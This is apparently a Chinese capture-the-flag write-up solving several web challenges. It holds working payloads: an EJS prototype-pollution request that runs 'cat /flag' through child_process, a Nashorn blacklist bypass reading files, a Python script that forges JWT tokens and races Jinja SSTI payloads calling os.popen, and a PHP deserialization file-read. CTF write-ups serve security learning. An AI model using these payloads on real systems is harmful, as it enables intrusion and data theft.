进入管理后台,开启抓包,随便添加个用户,js原型链污染(CVE-2019-10744)+ EJS 3.1.6 模板引擎的RCE

POST /addUser HTTP/2
Host: eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757503154; session=s%3A368rWRXOa7vZea6ArGnCRZf2ei9l_oKz.YntA7wJWrAQc%2BkQnV45IEbvgOjN48uKgLOX62YqHs5c
Content-Length: 214
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000/admin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"
}
}
}然后跟随这个302跳转,即访问任意EJS页面,触发模板渲染,执行注入的代码

flag{750ed55d-4b95-46ab-8bb0-7f6158ddd3e3}眼熟的计算器
jadx反编译得到源码:
package org.example.newstar.controller;
import javax.script.ScriptEngineManager;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.beans.factory.xml.DefaultBeanDefinitionDocumentReader;
import org.springframework.cache.interceptor.CacheOperationExpressionEvaluator;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
/* loaded from: app.jar:BOOT-INF/classes/org/example/newstar/controller/NewstarController.class */
public class NewstarController {
private String[] BLACKLIST = {DefaultBeanDefinitionDocumentReader.IMPORT_ELEMENT, "java.lang.Runtime", "new"};
private String calculate(String content) throws Exception {
String[] strArr;
for (String word : this.BLACKLIST) {
if (content.contains(word)) {
return "Blacklisted word detected: " + word;
}
}
Object result = new ScriptEngineManager().getEngineByName("js").eval(content);
return result.toString();
}
@GetMapping({"/"})
public String home(Model model) throws Exception {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@GetMapping({"/calc"})
public String status(@RequestParam("content") String content, Model model) throws Exception {
model.addAttribute(CacheOperationExpressionEvaluator.RESULT_VARIABLE, calculate(content));
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
}
使用type()动态引用类,绕过黑名单检测
由于直接读取会返回哈希码,因此这里用base64编码绕过:
1+1; Java.type("java.util.Base64").getEncoder().encodeToString(Java.type("java.nio.file.Files").readAllBytes(Java.type("java.nio.file.Paths").get("/flag")))
将结果base64解码即可

flag{6b5714b0-2a40-465b-8016-c9a6bcf50a16}废弃的网站
通过访问admin页面获取服务器运行时间,计算出JWT签名密钥伪造管理员令牌。利用竞争条件漏洞,在多个线程中同时发送正常管理员请求和包含SSTI payload的恶意请求,当服务器在验证JWT后、渲染页面前的短暂时间窗口内,恶意payload通过竞争条件覆盖临时用户数据,触发SSTI执行系统命令
(不太稳定)
import requests
import jwt
import hashlib
import time
import threading
import re
target = "http://39.106.48.123:43714/"
def get_running_time():
"""获取服务器运行时间"""
try:
resp = requests.get(target + "admin", cookies={'session': 'invalid'})
if "System has been running" in resp.text:
match = re.search(r'System has been running (\d+) seconds', resp.text)
if match:
return int(match.group(1))
except:
pass
return None
def get_fresh_admin_token():
"""获取管理员token"""
running_time = get_running_time()
if running_time is None:
return None
current_time = round(time.time())
time_started = current_time - running_time - 2 # 已知正确偏移
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
admin_payload = {"id": 1, "role": "admin", "name": "Administrator"}
token = jwt.encode(admin_payload, secret, algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def precise_race_condition_attack():
print("开始精确竞争条件攻击...")
admin_token = get_fresh_admin_token()
if not admin_token:
print("无法获取管理员token")
return []
print(f"使用新鲜token: {admin_token[:30]}...")
results = []
request_count = [0]
def victim_thread():
"""受害者线程:使用管理员token访问/admin"""
for i in range(20):
try:
request_count[0] += 1
resp = requests.get(target + "admin", cookies={'session': admin_token}, timeout=0.5)
if "Welcome Back" in resp.text:
result = resp.text.replace("Welcome Back, ", "")
if result != "Administrator":
results.append(f"竞争成功! 请求#{request_count[0]}: {result}")
print(f"!!! 发现异常响应: {result}")
except:
pass
def attacker_thread():
"""攻击者线程:快速修改tempuser"""
running_time = get_running_time()
if not running_time:
return
current_time = round(time.time())
time_started = current_time - running_time - 2
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
attack_payloads = [
"{{7*7}}",
"{{config}}",
"{{lipsum.__globals__}}",
"flag{test}",
"{{''.__class__.__mro__[1].__subclasses__()}}",
]
for payload in attack_payloads:
attack_payload = {"id": 1, "role": "admin", "name": payload}
attack_token = jwt.encode(attack_payload, secret, algorithm='HS256')
if isinstance(attack_token, bytes):
attack_token = attack_token.decode('utf-8')
for i in range(10):
try:
request_count[0] += 1
requests.get(target, cookies={'session': attack_token}, timeout=0.1)
requests.get(target + "admin", cookies={'session': attack_token}, timeout=0.1)
except:
pass
def timing_attack():
"""精确时间控制攻击"""
for i in range(30):
try:
request_count[0] += 1
time.sleep(0.1)
guest_token = get_fresh_admin_token()
if guest_token:
requests.get(target, cookies={'session': guest_token}, timeout=0.05)
except:
pass
threads = []
for i in range(5):
t = threading.Thread(target=victim_thread)
threads.append(t)
t.start()
for i in range(3):
t = threading.Thread(target=attacker_thread)
threads.append(t)
t.start()
for i in range(2):
t = threading.Thread(target=timing_attack)
threads.append(t)
t.start()
for t in threads:
t.join(timeout=5)
return results
def exploit_with_flag_payloads():
"""使用flag相关的payload进行攻击"""
print("\n使用flag相关payload攻击...")
running_time = get_running_time()
if not running_time:
return
current_time = round(time.time())
time_started = current_time - running_time - 2
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
flag_payloads = [
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag*').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('find / -name \"*flag*\" -type f 2>/dev/null | head -5 | xargs cat').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('env | grep -i flag').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -la').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat *.txt').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ps aux | grep flag').read()}}",
]
for payload in flag_payloads:
print(f"尝试payload: {payload[:60]}...")
attack_payload = {"id": 1, "role": "admin", "name": payload}
attack_token = jwt.encode(attack_payload, secret, algorithm='HS256')
if isinstance(attack_token, bytes):
attack_token = attack_token.decode('utf-8')
victim_payload = {"id": 1, "role": "admin", "name": "Administrator"}
victim_token = jwt.encode(victim_payload, secret, algorithm='HS256')
if isinstance(victim_token, bytes):
victim_token = victim_token.decode('utf-8')
def victim():
for i in range(10):
try:
resp = requests.get(target + "admin", cookies={'session': victim_token}, timeout=0.3)
if "Welcome Back" in resp.text:
result = resp.text.replace("Welcome Back, ", "")
if result != "Administrator" and len(result) > 10:
print(f"!!! 竞争成功: {result}")
except:
pass
def attacker():
for i in range(10):
try:
requests.get(target, cookies={'session': attack_token}, timeout=0.1)
requests.get(target + "admin", cookies={'session': attack_token}, timeout=0.1)
except:
pass
threads = []
for i in range(3):
t = threading.Thread(target=victim)
threads.append(t)
t.start()
for i in range(2):
t = threading.Thread(target=attacker)
threads.append(t)
t.start()
for t in threads:
t.join(timeout=2)
def check_simple_race():
"""简单的竞争条件测试"""
print("\n简单竞争条件测试...")
admin_token = get_fresh_admin_token()
guest_token = get_fresh_admin_token()
if admin_token and guest_token:
for i in range(10):
try:
t1 = threading.Thread(target=lambda: requests.get(target + "admin", cookies={'session': admin_token}))
t2 = threading.Thread(target=lambda: requests.get(target, cookies={'session': guest_token}))
t1.start()
t2.start()
t1.join(timeout=1)
t2.join(timeout=1)
except:
pass
def main():
"""主函数"""
print("开始JWT预测 + 竞争条件攻击...")
running_time = get_running_time()
if running_time:
print(f"服务器运行时间: {running_time} 秒")
results = precise_race_condition_attack()
if results:
print("攻击结果:")
for result in results:
print(f" {result}")
exploit_with_flag_payloads()
check_simple_race()
print("\n攻击完成!")
if __name__ == "__main__":
main()
flag{1e9541c7-04e3-4d12-9482-02a1f8417d11}二进制博客
先随便注册一个号登录进去

进去随便发一篇博客然后再删除,发现会自动跳转到一个博客管理的页面,即/blog_manager.php路由

发现有导入功能,要导入.dat文件,随便写个空文件改成.dat文件上传,发现会提示反序列化失败

叫ai写个生成.dat文件的脚本
<?php
class Blog {
public $id;
public $title;
public $content;
public $user_id;
public $username;
public $created_at;
public $updated_at;
public $template;
}
// 创建数据
$blog = new Blog();
$blog->id = 10;
$blog->title = "Test Blog";
$blog->content = "Hello World";
$blog->user_id = 1;
$blog->username = "admin";
$blog->created_at = "2024-01-15 10:30:00";
$blog->updated_at = "2024-01-15 10:30:00";
$blog->template = "default.tpl";
$backup_data = array(
'timestamp' => 1705300000,
'version' => '2.1',
'blog' => $blog,
'signature' => 'a1b2c3d4e5f67890abcdef1234567890abcdef1234567890abcdef1234567890'
);
// 序列化并写入文件
$serialized_data = serialize($backup_data);
file_put_contents('backup.dat', $serialized_data);
echo "backup.dat 文件已生成!\n";
echo "文件大小: " . filesize('backup.dat') . " 字节\n";
?>然后传进去,抓个包,这个template这里发现可以进行文件读取


尝试读一下/flag /proc/1/environ之类的,发现不好使
读取flag.php时会报错500

尝试用过滤器封装一下

成功读取到内容

然后结果再base64解密一下即可

flag{84e47891-ec4f-4796-a657-f1b26ae6c6c1}本文详细解析多个网络安全挑战,涵盖SQL注入、反调试绕过、SSTI、文件包含等核心技术。
由 AI 根据全文自动生成,仅供参考,以原文为准